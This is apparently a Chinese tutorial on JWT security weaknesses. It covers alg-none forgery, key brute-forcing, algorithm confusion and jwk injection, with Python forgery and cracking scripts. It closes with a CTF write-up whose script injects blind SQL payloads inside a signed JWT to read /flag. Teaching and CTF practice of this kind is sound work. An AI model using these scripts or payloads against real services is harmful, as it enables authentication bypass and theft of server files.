1、JWT简介

JWT(JSON Web Token)是一串json格式的字符串，由服务端用加密算法对信息签名来保证其完整性和不可伪造。Token里可以包含所有必要信息，这样服务端就无需保存任何关于用户或会话的信息，JWT可用于身份认证、会话状态维持、信息交换等。

1.1、 JWT优缺点

JWT的优点：
1、可扩展性好
应用程序分布式部署的情况下，session需要做多机数据共享，通常可以存在数据库或者redis里面。而jwt不需要。
2、无状态 jwt不在服务端存储任何状态
RESTful API的原则之一是无状态，发出请求时，总会返回带有参数的响应，不会产生附加影响。用户的认证状态引入这种附加影响，这破坏了这一原则。另外jwt的载荷中可以存储一些常用信息，用于交换信息，有效地使用 JWT，可以降低服务器查询数据库的次数。
JWT的缺点：
1、安全性低
由于jwt的payload是使用base64url编码的，可以直接解码，因此jwt中不能存储敏感数据。而session的信息是存在服务端的，相对来说更安全。
2、性能差
jwt太长。由于是无状态使用JWT，所有的数据都被放到JWT里，如果还要进行一些数据交换，那载荷会更大，经过编码之后导致jwt非常长，cookie的限制大小一般是4k，cookie很可能放不下，所以jwt一般放在local storage里面。并且用户在系统中的每一次http请求都会把jwt携带在Header里面，http请求的Header可能比Body还要大。而sessionId只是很短的一个字符串，因此使用jwt的http请求比使用session的开销大得多。

1.2、JWT的构成

JWT token由三部分组成，分别是头部、载荷、签名，中间以点隔开。

Header.Payload.Signature

Header
header用来声明token的类型和签名用的算法等，需要经过Base64Url编码。
如下：

{"alg":"HS256","typ":"JWT"}

Payload
payload用来表示真正的token信息，也需要经过Base64Url编码。
有7个字段分别是：

iss (issuer)：JWT的发行者
exp (expiration time)：过期时间
sub (subject)：JWT面向的主题
aud (audience)：JWT的用户
nbf (Not Before)：生效时间
iat (Issued At)：签发时间
jti (JWT ID)：JWT唯一标识

支持自定义字段

{
  "sub": "123456789",
  "id": "98",
  "admin": true
}

Signature
首先这个部分需要BASE64加密后的header和payload，然后使用进行连接组成的字符串，然后通过header中指定的加密方式，进行加盐值secret组合加密，然后就构成了JWT的第三部分。

data = base64urlEncode(header) + "." + base64urlEncode(payload)
signature = HMAC-SHA256(data,secretkey)

Base64URL算法是base64的修改版，是为了方便在web中传输使用了不同的编码表，不会在末尾填充=号，并将+和/分别改为-和_
HMAC算法是密钥相关的哈希运算消息认证码（Hash-based Message Authentication Code）的缩写，它是一种对称加密算法，使用相同的密钥对传输信息进行加解密。
RSA算法则是一种非对称加密算法，使用私钥加密明文，公钥解密密文。
在HMAC和RSA算法中，都是使用私钥对signature字段进行签名，只有拿到了加密时使用的私钥，才有可能伪造token。

RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据URL)。
HS256 (带有 SHA-256 的 HMAC 是一种对称算法, 双方之间仅共享一个密钥。由于使用相同的密钥生成签名和验证签名, 因此必须注意确保密钥不被泄密。

我们通常使用https://jwt.io/来解密jwt。

1.3、JWT认证流程

1、用户使用用户名密码来请求服务器
2、服务器进行验证用户的信息
3、服务器通过验证发送给用户一个JWTtoke
4、客户端存储token，并在每次请求时附送上这个JWTtoken值
5、服务端验证token值，并返回数据

2、JWT存在的安全风险

2.1、敏感信息泄露

payload和header只经过Base64Url编码，如果开放者把一些敏感信息存放到里面，我们可以轻松获得。
使用https://jwt.io/#debugger-io

2.2、未校验签名

某些服务端并未校验JWT签名，所以，可以尝试修改signature后(或者直接删除signature)看其是否还有效。

2.3、签名算法可被修改为none

将 head中alg的值改为none，可能绕过签名认证。

修改前：
{
  "alg": "HS256",
  "typ": "JWT"
}
修改后：
{
  "alg": "none",
  "typ": "JWT"
}

服务端接收到token后会将其认定为无加密算法，于是对signature的检验也就失效了，那么我们就可以随意修改payload部分伪造token。
https://jwt.io/#debugger-io 会识别这种恶意行为，我们可以借助python的pyjwt库实现。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import jwt
payload = {"user":"admin","iat":1612336103}
print(jwt.encode(payload,None,algorithm="none"))

生成的JWT token只存在Header和Payload部分，Signature部分不存在。

2.4、签名密钥可被爆破

alg指定了加密算法，可以进行针对key进行暴力破解。
爆破脚本：https://github.com/Ch1ngg/JWTPyCrack
下面代码也可以

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import jwt
import sys

def burp_jwt(jwt_json,dicts):
    with open(dicts) as f:
        for line in f:
            key = line.strip()
            try:
                jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256')
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.InvalidSignatureError):
                print('verify key! -->' + key)
                continue
        else:
            print("key not found!")

if __name__ == '__main__':
    if(len(sys.argv) == 3):
        print('User: please burp_jwt.py jwt_json dict.txt')
        jwt_json = sys.argv[1]
        dicts = sys.argv[2]
        burp_jwt(jwt_json,dicts)
    else:
        print('User: please please burp_jwt.py jwt_json dict.txt')

爆破出key后，就可以任意修改token了

2.5、修改非对称密码算法为对称密码算法

JWT的签名加密算法有两种，对称加密算法和非对称加密算法。
对称加密算法比如HS256，加解密使用同一个密钥，保存在后端。
非对称加密算法比如RS256，后端加密使用私钥，前端解密使用公钥，公钥是我们可以获取到的。
如果我们修改header，将算法从RS256更改为HS256，后端代码会使用RS256的公钥作为HS256算法的密钥。于是我们就可以用RS256的公钥伪造数据
CTF题目：http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php

2.6、伪造密钥(CVE-2018-0114)

jwk是header里的一个参数，用于指出密钥，存在被伪造的风险。
攻击者可以通过以下方法来伪造JWT：删除原始签名，向标头添加新的公钥，然后使用与该公钥关联的私钥进行签名。
如下：

{
  "typ": "JWT",
  "alg": "RS256",
  "jwk": {
    "kty": "RSA",
    "kid": "TEST",
    "use": "sig",
    "e": "AQAB",
    "n": "oUGnPChFQAN1xdA1_f_FWZdFAis64o5hdVyFm4vVFBzTIEdYmZZ3hJHsWi5b_m_tjsgjhCZZnPOLn-ZVYs7pce__rDsRw9gfKGCVzvGYvPY1hkIENNeBfSaQlBhOhaRxA85rBkg8BX7zfMRQJ0fMG3EAZhYbr3LDtygwSXi66CCk4zfFNQfOQEF-Tgv1kgdTFJW-r3AKSQayER8kF3xfMuI7-VkKz-yyLDZgITyW2VWmjsvdQTvQflapS1_k9IeTjzxuKCMvAl8v_TFj2bnU5bDJBEhqisdb2BRHMgzzEBX43jc-IHZGSHY2KA39Tr42DVv7gS--2tyh8JluonjpdQ"
  }
}

2.7、JWT自动化工具

https://github.com/ticarpi/jwt_tool

3、CTF例题

2020 网鼎杯玄武组 js_on
admin/admin 弱口令登录得到key

通过查看数据包发现JWT token

对JWT token进行解密，发现使用了hs256对称加密。

当前用户为admin，测试user参数可能存在sql注入。

对空格进行了过滤，使用/**/绕过限制
经过判断注入点类型为布尔型盲注

"user": "admin'/**/and/**/1=1#"

image.png

"user": "admin'/**/and/**/1=2#"

image.png

通过load_file函数读取跟目录下的flag值

关键字之间添加

空格使用注释符/**/绕过

admin'/**/and/**/ascii(mid((select/**/load_file('/flag')),1,1))>32#

利用mid函数一位一位分割，并通过ascii码进行计算

#!/usr/bin/env python3
# coding=utf-8
import jwt
import requests
import re


key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-435b4c15ad92eb0a.sandbox.ctfhub.com:10080/index.php"
payloadTmpl = "admin'/**/and/**/ascii(mid((select/**/load_file('/flag')),{},1))>{}#"

def sql_jwt():
    result = ""
    for i in range(1,50):
        min = 31
        max = 127
        while abs(max-min) > 1:
            mid = (min + max)//2
            payload = payloadTmpl.format(i,mid)
            print(payload)
            jwttoken = {
                "user": payload,
                "news": "hello"
            }
            payload = jwt.encode(jwttoken, key, algorithm='HS256')
            cookies = dict(token=str(payload))
            res = requests.get(url,cookies=cookies)
            if re.findall("hello", res.text) != []:
                min = mid
            else:
                max = mid
        result += chr(max)
        print(result)

if __name__ == "__main__":
    sql_jwt()

运行脚本得到flag

image.png

安全建议

保证密钥不会泄漏
签名算法固定在后端
JWT中禁止存放敏感信息
合理规定JWT的有效时间

参考链接

https://www.freebuf.com/vuls/211842.html
https://zhuanlan.zhihu.com/p/93129166
https://www.jianshu.com/p/60dbcaea510c

JWT漏洞学习

1、JWT简介

1.1、 JWT优缺点

1.2、JWT的构成

1.3、JWT认证流程

2、JWT存在的安全风险

2.1、敏感信息泄露

2.2、未校验签名

2.3、签名算法可被修改为none

2.4、签名密钥可被爆破

2.5、修改非对称密码算法为对称密码算法

2.6、伪造密钥(CVE-2018-0114)

2.7、JWT自动化工具

3、CTF例题

安全建议

参考链接

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